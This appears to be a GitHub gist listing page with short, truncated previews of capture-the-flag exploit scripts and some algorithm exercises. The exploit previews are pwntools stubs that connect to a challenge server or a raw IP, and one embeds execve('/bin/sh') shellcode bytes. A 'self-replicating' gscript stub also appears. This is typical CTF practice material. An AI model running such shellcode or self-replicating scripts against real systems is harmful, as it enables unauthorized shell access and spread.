This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
if args.LOCAL: | |
p = process(['./coder']) | |
else: | |
p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086) | |
context(terminal=['tmux', 'split'], bits=64, arch='amd64') | |
gdb.attach(p, 'stepi') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from z3 import * | |
''' JS Code => | |
190 value[29] == "!" && //X// payload[29] = '!' | |
191 value[4] == value[8] && //X// 08 & 04 = '_' | |
192 value[17] == "_" && //X// payload[17] = '_' | |
193 value[4] == "_" && //X// payload[4] = '_' | |
194 leng(value) && //X// len(payload) == 30 | |
195 crypto(value) && //X// payload[18:29] == 0bfuscati0n |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import os | |
from pwn import * | |
from pwnlib.util.safeeval import const | |
libc = ELF('./libc.so.6') | |
context(terminal = ['tmux', 'splitw']) | |
context.bits = 64 | |
if (args.DEBUG): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// genesis script | |
// Description: Simple self-replicating gscript | |
function BeforeDeploy() { | |
return true; | |
} | |
function Deploy() { | |
var self = ReadFile('./examples/hello.gs'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys, time | |
from pwn import * | |
REMOTE = len(sys.argv) < 2 | |
STACK_ADDR = 0x7fffffffddd8 | |
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" | |
if (REMOTE): | |
r = remote('35.205.206.137', 1996) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Data.List (nub) | |
disperse :: a -> [a] -> [[a]] | |
disperse value arr = | |
map (\(start, ending) -> start ++ [value] ++ ending) . | |
map (\char -> splitAt char arr) $ [0..length arr] | |
permu :: Ord a => [a] -> [[a]] | |
permu [] = [[]] | |
permu (x:xs) = concatMap (disperse x) $ permu xs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
const permU = (ar) => { | |
if (ar.length <= 1) return [ar]; | |
const first = ar[0]; | |
const nPerm = permU(ar.slice(1)); | |
return nPerm.reduce((acc, value) => { | |
for (let i=0; i <= value.length; ++i) { | |
const start = value.slice(0, i); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
import string | |
import datetime | |
import commands | |
from pwn import * | |
TIMEOUT = 3 | |
SIZE = 0x7f | |
ASM_FILE = 'sleep-sc-output.asm' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import string | |
import sys | |
def setup(rowSize, colSize): | |
mid = colSize / 2 | |
board = [[0 for _ in range(colSize)] for __ in range(rowSize)] | |
board[0][mid] = 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import math | |
import sys | |
# Based on Narayana Pandita's Algorithm | |
# ===================================== | |
# - Find the largest index k such that ar[k] < ar[k + 1]. If no such index exists, the permutation is the last permutation. | |
# - Find the largest index l greater than k such that ar[k] < ar[l]. | |
# - Swap the value of ar[k] with that of ar[l]. |
NewerOlder